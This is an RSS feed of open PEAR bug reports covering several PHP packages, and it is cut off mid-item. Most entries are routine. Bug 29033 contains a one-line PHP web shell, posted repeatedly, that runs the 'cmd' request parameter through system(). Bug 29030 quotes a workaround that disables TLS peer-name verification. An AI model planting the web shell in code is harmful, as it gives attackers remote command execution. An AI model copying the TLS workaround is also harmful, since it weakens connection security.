<?xml version="1.0"?>
<?xml-stylesheet
href="http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"
?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel rdf:about="http://pear.php.net/bugs/search.php">
    <title>PEAR Bug Search Results</title>
    <link>http://pear.php.net/bugs/search.php?</link>
    <description>Search Results</description>
    <dc:language>en-us</dc:language>
    <dc:creator>pear-webmaster@lists.php.net</dc:creator>
    <dc:publisher>pear-webmaster@lists.php.net</dc:publisher>
    <admin:generatorAgent rdf:resource="http://pear.php.net/bugs"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
    <items>
     <rdf:Seq>
      <rdf:li rdf:resource="http://pear.php.net/bug/29034" />
      <rdf:li rdf:resource="http://pear.php.net/bug/29033" />
      <rdf:li rdf:resource="http://pear.php.net/bug/29031" />
      <rdf:li rdf:resource="http://pear.php.net/bug/29030" />
      <rdf:li rdf:resource="http://pear.php.net/bug/28646" />
      <rdf:li rdf:resource="http://pear.php.net/bug/27795" />
      <rdf:li rdf:resource="http://pear.php.net/bug/27165" />
      <rdf:li rdf:resource="http://pear.php.net/bug/27027" />
      <rdf:li rdf:resource="http://pear.php.net/bug/27013" />
      <rdf:li rdf:resource="http://pear.php.net/bug/27009" />
      <rdf:li rdf:resource="http://pear.php.net/bug/26998" />
      <rdf:li rdf:resource="http://pear.php.net/bug/26925" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23840" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23805" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23789" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23784" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23783" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23780" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23779" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23777" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23776" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23775" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23774" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23772" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23771" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23770" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23768" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23767" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23766" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23765" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23764" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23763" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23762" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23760" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23758" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23754" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23753" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23749" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23747" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23737" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23736" />
      <rdf:li rdf:resource="http://pear.php.net/bug/23735" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21257" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21251" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21246" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21245" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21244" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21243" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21241" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21235" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21234" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21232" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21226" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21225" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21219" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21217" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21215" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21212" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21211" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21210" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21209" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21208" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21202" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21198" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21196" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21194" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21187" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21186" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21185" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21179" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21175" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21173" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21172" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21171" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21162" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21160" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21157" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21153" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21150" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21147" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21129" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21122" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21117" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21115" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21114" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21113" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21112" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21111" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21100" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21099" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21097" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21096" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21095" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21084" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21073" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21072" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21070" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21067" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21064" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21059" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21056" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21054" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21053" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21052" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21051" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21049" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21047" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21045" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21044" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21043" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21042" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21041" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21039" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21038" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21036" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21030" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21024" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21017" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21008" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21007" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21004" />
      <rdf:li rdf:resource="http://pear.php.net/bug/21002" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20997" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20996" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20995" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20988" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20985" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20982" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20981" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20970" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20966" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20965" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20961" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20958" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20957" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20951" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20947" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20944" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20938" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20926" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20924" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20923" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20571" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20569" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20568" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20566" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20562" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20560" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20559" />
      <rdf:li rdf:resource="http://pear.php.net/bug/20557" />

     </rdf:Seq>
    </items>
  </channel>

  <image rdf:about="http://pear.php.net/gifs/pearsmall.gif">
    <title>PEAR Bugs</title>
    <url>http://pear.php.net/gifs/pearsmall.gif</url>
    <link>http://pear.php.net/bugs</link>
  </image>

    <item rdf:about="http://pear.php.net/bug/29034">
      <title>Validate: Bug 29034 [Open] Non-static method Validate::_modf() cannot be called statically</title>
      <link>http://pear.php.net/bugs/29034</link>
      <content:encoded><![CDATA[<pre>Validate Bug
Reported by neufeind
2025-04-18T17:35:00+00:00
PHP: 8.0.0 (Specify exact version in description) OS:  Package Version: 0.8.6

Description:
------------
PHP 8.4.x (although that doesn't really matter; code is unclean)

Inside Validate.php there is a static call to _modf(). That function needs to be declared &quot;static&quot;.

error says:
called statically in /usr/share/pear/Validate.php:1004 Stack trace: #0 /usr/share/pear/Validate.php(1033)</pre>]]></content:encoded>
      <description><![CDATA[<pre>Validate Bug
Reported by neufeind
2025-04-18T17:35:00+00:00
PHP: 8.0.0 (Specify exact version in description) OS:  Package Version: 0.8.6

Description:
------------
PHP 8.4.x (although that doesn't really matter; code is unclean)

Inside Validate.php there is a static call to _modf(). That function needs to be declared &quot;static&quot;.

error says:
called statically in /usr/share/pear/Validate.php:1004 Stack trace: #0 /usr/share/pear/Validate.php(1033)</pre>]]></description>
      <dc:date>2025-04-18T17:35:00+00:00</dc:date>
      <dc:creator>pear &amp;#x64;&amp;#111;&amp;#x74; neufeind &amp;#x61;&amp;#116; speedpartner &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Validate Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/29033">
      <title>Archive_Tar: Bug 29033 [Open] test</title>
      <link>http://pear.php.net/bugs/29033</link>
      <content:encoded><![CDATA[<pre>Archive_Tar Bug
Reported by baneeishaque
2025-04-01T04:47:47+00:00
PHP: 7.4.32 OS: Linux Package Version: 1.5.0

Description:
------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Test script:
---------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Expected result:
----------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Actual result:
--------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;</pre>]]></content:encoded>
      <description><![CDATA[<pre>Archive_Tar Bug
Reported by baneeishaque
2025-04-01T04:47:47+00:00
PHP: 7.4.32 OS: Linux Package Version: 1.5.0

Description:
------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Test script:
---------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Expected result:
----------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;

Actual result:
--------------
&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;</pre>]]></description>
      <dc:date>2025-04-01T04:47:47+00:00</dc:date>
      <dc:creator>baneeishaque &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Archive_Tar Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/29031">
      <title>pearweb: Feature/Change Request 29031 [Open] pear.php.net needs to support account deletion (removal/remove/delete account)</title>
      <link>http://pear.php.net/bugs/29031</link>
      <content:encoded><![CDATA[<pre>pearweb Feature/Change Request
Reported by janmoesen
2025-02-27T08:02:19+00:00
PHP: Irrelevant OS:  Package Version: 

Description:
------------
I want to permanently remove my account. I know PEAR is incredibly outdated, but deleting all of my data should be made possible, if only for GDPR compliance.</pre>]]></content:encoded>
      <description><![CDATA[<pre>pearweb Feature/Change Request
Reported by janmoesen
2025-02-27T08:02:19+00:00
PHP: Irrelevant OS:  Package Version: 

Description:
------------
I want to permanently remove my account. I know PEAR is incredibly outdated, but deleting all of my data should be made possible, if only for GDPR compliance.</pre>]]></description>
      <dc:date>2025-02-27T08:02:19+00:00</dc:date>
      <dc:creator>pear &amp;#x64;&amp;#111;&amp;#x74; php &amp;#x64;&amp;#111;&amp;#x74; net &amp;#x61;&amp;#116; moesen &amp;#x64;&amp;#111;&amp;#x74; nu</dc:creator>
      <dc:subject>pearweb Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/29030">
      <title>Mail: Documentation Problem 29030 [Open] User note that is a documentation problem</title>
      <link>http://pear.php.net/bugs/29030</link>
      <content:encoded><![CDATA[<pre>Mail Documentation Problem
Reported by wormus
2025-02-19T08:21:05+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 

Manual page: package.mail.mail.factory.php
Note submitter:
&lt;a href=&quot;/user/sergiomb&quot;&gt;Sergio Basto&lt;/a&gt;&amp;nbsp;

The undocumented parameter: socket_options , let me authenticate when I got this error: \r\n authentication failure [SMTP: STARTTLS failed (code: 220, response: TLS go ahead)]\r\n\r\nI just need add : \r\n    \'auth\' =&gt; \&quot;PLAIN\&quot;,\r\n   \'socket_options\' =&gt; array(\'ssl\' =&gt; array(\'verify_peer_name\' =&gt; false)),\r\n</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail Documentation Problem
Reported by wormus
2025-02-19T08:21:05+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 

Manual page: package.mail.mail.factory.php
Note submitter:
&lt;a href=&quot;/user/sergiomb&quot;&gt;Sergio Basto&lt;/a&gt;&amp;nbsp;

The undocumented parameter: socket_options , let me authenticate when I got this error: \r\n authentication failure [SMTP: STARTTLS failed (code: 220, response: TLS go ahead)]\r\n\r\nI just need add : \r\n    \'auth\' =&gt; \&quot;PLAIN\&quot;,\r\n   \'socket_options\' =&gt; array(\'ssl\' =&gt; array(\'verify_peer_name\' =&gt; false)),\r\n</pre>]]></description>
      <dc:date>2025-02-19T08:21:05+00:00</dc:date>
      <dc:creator>aaron &amp;#x61;&amp;#116; wormus &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Mail Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/28646">
      <title>OLE: Feature/Change Request 28646 [Open] allow using a strem for writing output</title>
      <link>http://pear.php.net/bugs/28646</link>
      <content:encoded><![CDATA[<pre>OLE Feature/Change Request
Reported by gggeek
2024-07-26T12:37:20+00:00
PHP: 8.0.0 (Specify exact version in description) OS: linux Package Version: 1.0.0RC3

Description:
------------
In `Root::save()`, we could allow the caller to pass in an already open stream. This would allow to save f.e. to a memory stream, without the need for temp files</pre>]]></content:encoded>
      <description><![CDATA[<pre>OLE Feature/Change Request
Reported by gggeek
2024-07-26T12:37:20+00:00
PHP: 8.0.0 (Specify exact version in description) OS: linux Package Version: 1.0.0RC3

Description:
------------
In `Root::save()`, we could allow the caller to pass in an already open stream. This would allow to save f.e. to a memory stream, without the need for temp files</pre>]]></description>
      <dc:date>2024-07-26T12:37:20+00:00</dc:date>
      <dc:creator>giunta &amp;#x64;&amp;#111;&amp;#x74; gaetano &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>OLE Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/27795">
      <title>Net_IPv6: Bug 27795 [Open] isCompressible uses not existing variable</title>
      <link>http://pear.php.net/bugs/27795</link>
      <content:encoded><![CDATA[<pre>Net_IPv6 Bug
Reported by arekm
2024-06-05T07:09:32+00:00
PHP: 7.4.33 OS:  Package Version: 1.3.0b4

Description:
------------
$address doesn't exist. Affects stable version, too.

Undefined variable: address in pear/Net/IPv6.php on line 768

diff -urN Net_IPv6-1.3.0b4.org/Net/IPv6.php Net_IPv6-
1.3.0b4/Net/IPv6.php
--- Net_IPv6-1.3.0b4.org/Net/IPv6.php   2018-07-09 
13:55:41.000000000 +0200
+++ Net_IPv6-1.3.0b4/Net/IPv6.php       2024-06-05 
09:04:05.726443082 +0200
@@ -807,7 +807,7 @@
     public static function isCompressible($ip)
     {

-        return (bool)($ip != Net_IPv6::compress($address));
+        return (bool)($ip != Net_IPv6::compress($ip));

     }</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_IPv6 Bug
Reported by arekm
2024-06-05T07:09:32+00:00
PHP: 7.4.33 OS:  Package Version: 1.3.0b4

Description:
------------
$address doesn't exist. Affects stable version, too.

Undefined variable: address in pear/Net/IPv6.php on line 768

diff -urN Net_IPv6-1.3.0b4.org/Net/IPv6.php Net_IPv6-
1.3.0b4/Net/IPv6.php
--- Net_IPv6-1.3.0b4.org/Net/IPv6.php   2018-07-09 
13:55:41.000000000 +0200
+++ Net_IPv6-1.3.0b4/Net/IPv6.php       2024-06-05 
09:04:05.726443082 +0200
@@ -807,7 +807,7 @@
     public static function isCompressible($ip)
     {

-        return (bool)($ip != Net_IPv6::compress($address));
+        return (bool)($ip != Net_IPv6::compress($ip));

     }</pre>]]></description>
      <dc:date>2024-06-05T07:09:32+00:00</dc:date>
      <dc:creator>arekm &amp;#x61;&amp;#116; maven &amp;#x64;&amp;#111;&amp;#x74; pl</dc:creator>
      <dc:subject>Net_IPv6 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/27165">
      <title>Mail_Queue: Bug 27165 [Open] Mail_queue table needs to be updates</title>
      <link>http://pear.php.net/bugs/27165</link>
      <content:encoded><![CDATA[<pre>Mail_Queue Bug
Reported by mattisbln
2022-10-06T17:40:16+00:00
PHP: 7.4.32 OS:  Package Version: 1.2.7

Description:
------------
The fields for timestamps need CURRENT_TIMESTAMP as default value and the ip field needs to be increased to at least 45 characters to support IPv6 adresses and to support current MySQL-Versions</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_Queue Bug
Reported by mattisbln
2022-10-06T17:40:16+00:00
PHP: 7.4.32 OS:  Package Version: 1.2.7

Description:
------------
The fields for timestamps need CURRENT_TIMESTAMP as default value and the ip field needs to be increased to at least 45 characters to support IPv6 adresses and to support current MySQL-Versions</pre>]]></description>
      <dc:date>2022-10-06T17:40:16+00:00</dc:date>
      <dc:creator>mh &amp;#x61;&amp;#116; mailhenkel &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Mail_Queue Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/27027">
      <title>Archive_Zip: Bug 27027 [Open] run-tests.php</title>
      <link>http://pear.php.net/bugs/27027</link>
      <content:encoded><![CDATA[<pre>Archive_Zip Bug
Reported by mbiama
2021-05-19T02:01:35+00:00
PHP: 5.6.1 OS: Unix Package Version: 

Description:
------------
&lt;?php
$_SERVER['BASE_PAGE'] = 'get-involved.php';
include_once __DIR__ . '/include/prepend.inc';

Test script:
---------------
$SIDEBAR_DATA ='
6 &lt;div class=&quot;panel&quot;&gt;
7   &lt;div class=&quot;body&quot;&gt;
8     &lt;p&gt;
9       This page is intended to help setup a development environment for PHP, if mistakes are found
10       please &lt;a href=&quot;http://localhost:8080&quot;&gt;essingang&lt;/a&gt; them.
11     &lt;/p&gt;
12   &lt;/div&gt;
13 &lt;/div&gt;

Expected result:
----------------
sapi/cli/php [-c /path/to/php.ini] run-tests.php [ext/foo/tests/GLOB]</pre>]]></content:encoded>
      <description><![CDATA[<pre>Archive_Zip Bug
Reported by mbiama
2021-05-19T02:01:35+00:00
PHP: 5.6.1 OS: Unix Package Version: 

Description:
------------
&lt;?php
$_SERVER['BASE_PAGE'] = 'get-involved.php';
include_once __DIR__ . '/include/prepend.inc';

Test script:
---------------
$SIDEBAR_DATA ='
6 &lt;div class=&quot;panel&quot;&gt;
7   &lt;div class=&quot;body&quot;&gt;
8     &lt;p&gt;
9       This page is intended to help setup a development environment for PHP, if mistakes are found
10       please &lt;a href=&quot;http://localhost:8080&quot;&gt;essingang&lt;/a&gt; them.
11     &lt;/p&gt;
12   &lt;/div&gt;
13 &lt;/div&gt;

Expected result:
----------------
sapi/cli/php [-c /path/to/php.ini] run-tests.php [ext/foo/tests/GLOB]</pre>]]></description>
      <dc:date>2021-05-19T02:01:35+00:00</dc:date>
      <dc:creator>medjomeman &amp;#x61;&amp;#116; hotmail &amp;#x64;&amp;#111;&amp;#x74; fr</dc:creator>
      <dc:subject>Archive_Zip Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/27013">
      <title>Crypt_GPG: Bug 27013 [Open] Test failure with GnuPG 2.2.27</title>
      <link>http://pear.php.net/bugs/27013</link>
      <content:encoded><![CDATA[<pre>Crypt_GPG Bug
Reported by remicollet
2021-03-17T07:59:16+00:00
PHP: 7.4.16 OS: Fedora 34 Package Version: 1.6.5

Description:
------------
Test suite OK with 2.2.20 (Fedora 32 or RHEL-8) / 2.2.23 (Fedora 33) but fails with 2.2.27 (Fedora 34)

There was 1 error:

1) DecryptTestCase::testDecryptDualOnePassphrase
Crypt_GPG_KeyNotFoundException: Cannot decrypt data. No suitable private key is in the keyring. Import a suitable private key before trying to decrypt this data.

/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/ProcessHandler.php:731
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/Engine.php:1799
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/Engine.php:805
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG.php:1693
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG.php:831
/builddir/build/BUILD/php-pear-crypt-gpg-1.6.5/Crypt_GPG-1.6.5/tests/DecryptTest.php:391</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_GPG Bug
Reported by remicollet
2021-03-17T07:59:16+00:00
PHP: 7.4.16 OS: Fedora 34 Package Version: 1.6.5

Description:
------------
Test suite OK with 2.2.20 (Fedora 32 or RHEL-8) / 2.2.23 (Fedora 33) but fails with 2.2.27 (Fedora 34)

There was 1 error:

1) DecryptTestCase::testDecryptDualOnePassphrase
Crypt_GPG_KeyNotFoundException: Cannot decrypt data. No suitable private key is in the keyring. Import a suitable private key before trying to decrypt this data.

/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/ProcessHandler.php:731
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/Engine.php:1799
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG/Engine.php:805
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG.php:1693
/builddir/build/BUILDROOT/php-pear-crypt-gpg-1.6.5-1.fc34.remi.x86_64/usr/share/pear/Crypt/GPG.php:831
/builddir/build/BUILD/php-pear-crypt-gpg-1.6.5/Crypt_GPG-1.6.5/tests/DecryptTest.php:391</pre>]]></description>
      <dc:date>2021-03-17T07:59:16+00:00</dc:date>
      <dc:creator>Fedora &amp;#x61;&amp;#116; FamilleCollet &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Crypt_GPG Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/27009">
      <title>Mail_mimeDecode: Bug 27009 [Open] Apple Mail multipart/signed</title>
      <link>http://pear.php.net/bugs/27009</link>
      <content:encoded><![CDATA[<pre>Mail_mimeDecode Bug
Reported by dlopez
2021-01-27T03:05:49+00:00
PHP: 7.3.19 OS: Debian Linux Package Version: SVN

Description:
------------
I came across an email in the wild composed on Apple Mail 
(2.3608.120.23.2.4) whose Content-Type is multipart/signed and then 
within that is multipart/alternative with text/plain and multipart/mixed 
subparts (and the mixed part contains text/html and inline attachments).  
Headers with simplified boundaries (for easier reading) are at bottom.
 
When I use mimeDecode-&gt;decode() the returned msg_body is the entire 
raw part within it; that is, there's no recursion on all the subparts.  This 
appears to be reported in bug#21215 as well, but it appears unresolved.

Looking at line 324 of mimeDecode.php, I see that multipart/signed is 
handled separately from the other multipart cases below it, such that 
subparts are not decoded.  If I comment out that block it then gets caught 
by line 335 and thus handled like other multipart emails as expected.

Since I'm unfamiliar with signed email standards, I'm unsure why the 
block starting at line 324 is needed at all.  If sig_hdr and sig_body are 
special values to help signature verification against a raw msg_body, then 
maybe those should just be special return values added just for 
multipart/signed without affecting the rest of the expected multipart 
processing.  In that case there would be an 
if(strtolower($content_type['value'])=='multipart/signed'){} around line 
349 to add the sig_hdr and sig_body parameters.

-----

Content-Type: multipart/signed; boundary=&quot;Apple-Mail=_111&quot;; 
protocol=&quot;application/pkcs7-signature&quot;; micalg=sha-256
...
X-Mailer: Apple Mail (2.3608.120.23.2.4)

...

--Apple-Mail=_111
Content-Type: multipart/alternative; boundary=&quot;Apple-Mail=_D67DA570-
BD52-4A36-BBAD-76FAC2A72FF5&quot;

--Apple-Mail=_222
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=us-ascii

...

--Apple-Mail=_222
Content-Type: multipart/mixed; boundary=&quot;Apple-Mail=_56032FB6-5676-
46B2-B9FB-34581A21F699&quot;

--Apple-Mail=_333
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=us-ascii

...

--Apple-Mail=_333
Content-Disposition: inline; filename=Example.pdf
Content-Type: application/pdf; x-unix-mode=0644; name=&quot;Example.pdf&quot;
Content-Transfer-Encoding: base64


--Apple-Mail=_333
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=us-ascii


...

--Apple-Mail=_333--
--Apple-Mail=_222--
--Apple-Mail=_111
Content-Disposition: attachment; filename=smime.p7s
Content-Type: application/pkcs7-signature; name=smime.p7s
Content-Transfer-Encoding: base64</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_mimeDecode Bug
Reported by dlopez
2021-01-27T03:05:49+00:00
PHP: 7.3.19 OS: Debian Linux Package Version: SVN

Description:
------------
I came across an email in the wild composed on Apple Mail 
(2.3608.120.23.2.4) whose Content-Type is multipart/signed and then 
